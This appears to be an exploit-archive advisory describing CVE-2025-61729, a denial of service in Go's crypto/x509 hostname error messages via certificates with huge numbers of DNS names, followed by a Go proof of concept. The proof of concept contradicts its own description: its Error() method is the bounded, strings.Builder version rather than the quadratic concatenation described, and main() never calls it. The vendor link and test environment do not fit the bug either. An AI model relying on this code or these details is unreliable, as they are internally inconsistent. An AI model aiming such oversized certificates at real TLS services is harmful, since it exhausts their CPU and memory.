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| # Title     : Go crypto/x509 Hostname Verification Denial of Service                                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.gocrypto.com/                                                                                                   |
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[+] References : https://packetstorm.news/files/id/214685/ & CVE-2025-61729

[+] Summary    : A denial of service vulnerability exists in the Go programming language crypto/x509 package. The issue occurs during TLS hostname verification
                 when constructing error messages for certificates containing a very large number of DNS names.
                 In affected versions, error message construction uses repeated string concatenation without bounds, resulting in quadratic time complexity
                 (O(n²)). An attacker can exploit this by presenting a malicious TLS certificate containing an excessive number of DNSNames, causing severe CPU and memory exhaustion.
				 
[+] Affected Versions : All Go versions prior to the official fixes are affected.

The following versions are NOT vulnerable:

- Go 1.23.1
- Go 1.22.10
- Any Go release containing the official patch

[+] Technical Details : When hostname verification fails, the crypto/x509 package constructs a human-readable error string listing all DNS names present in the TLS certificate.

[+] In vulnerable versions:

- No upper bound is enforced on the number of DNS names processed
- String concatenation is performed using repeated "+=" operations
- This leads to quadratic time complexity and excessive memory usage

An attacker-controlled certificate with tens or hundreds of thousandsof DNS names can trigger resource exhaustion during error generation.


[+] PoC : The following PoC demonstrates the vulnerable condition by creating a certificate-like structure with 100,000 DNS names and triggering the
          error handling logic. The Error() method is intentionally not invoked to prevent system freeze on vulnerable environments.

File: hostname_error.go
-----------------------
package main

import (
    "fmt"
    "strings"
)

type HostnameError struct {
    Certificate *Certificate
    Host        string
}

type Certificate struct {
    DNSNames []string
}

func (h HostnameError) Error() string {
    const maxNames = 10

    var builder strings.Builder
    names := h.Certificate.DNSNames

    builder.WriteString("certificate is valid for ")

    displayCount := len(names)
    if displayCount > maxNames {
        displayCount = maxNames
    }

    for i := 0; i < displayCount; i++ {
        if i > 0 {
            builder.WriteString(", ")
        }
        builder.WriteString(names[i])
    }

    if len(names) > maxNames {
        builder.WriteString(
            fmt.Sprintf(", and %d more", len(names)-maxNames),
        )
    }

    builder.WriteString(fmt.Sprintf(", not for %s", h.Host))
    return builder.String()
}
-------------
File: poc.go
-------------
package main

import "fmt"

func main() {
    cert := &Certificate{
        DNSNames: make([]string, 100000),
    }

    for i := range cert.DNSNames {
        cert.DNSNames[i] = fmt.Sprintf("host%d.example.com", i)
    }

    err := HostnameError{
        Certificate: cert,
        Host:        "example.com",
    }

    fmt.Println("[+] HostnameError object created")
    fmt.Printf("[+] DNSNames count: %d\n", len(cert.DNSNames))

    // WARNING:
    // Calling err.Error() on a vulnerable Go version
    // may cause severe CPU and memory exhaustion.
    _ = err
}

[+] How to Run

1. Save the files as:
   - hostname_error.go
   - poc.go

2. Run the PoC:
   $ go run .

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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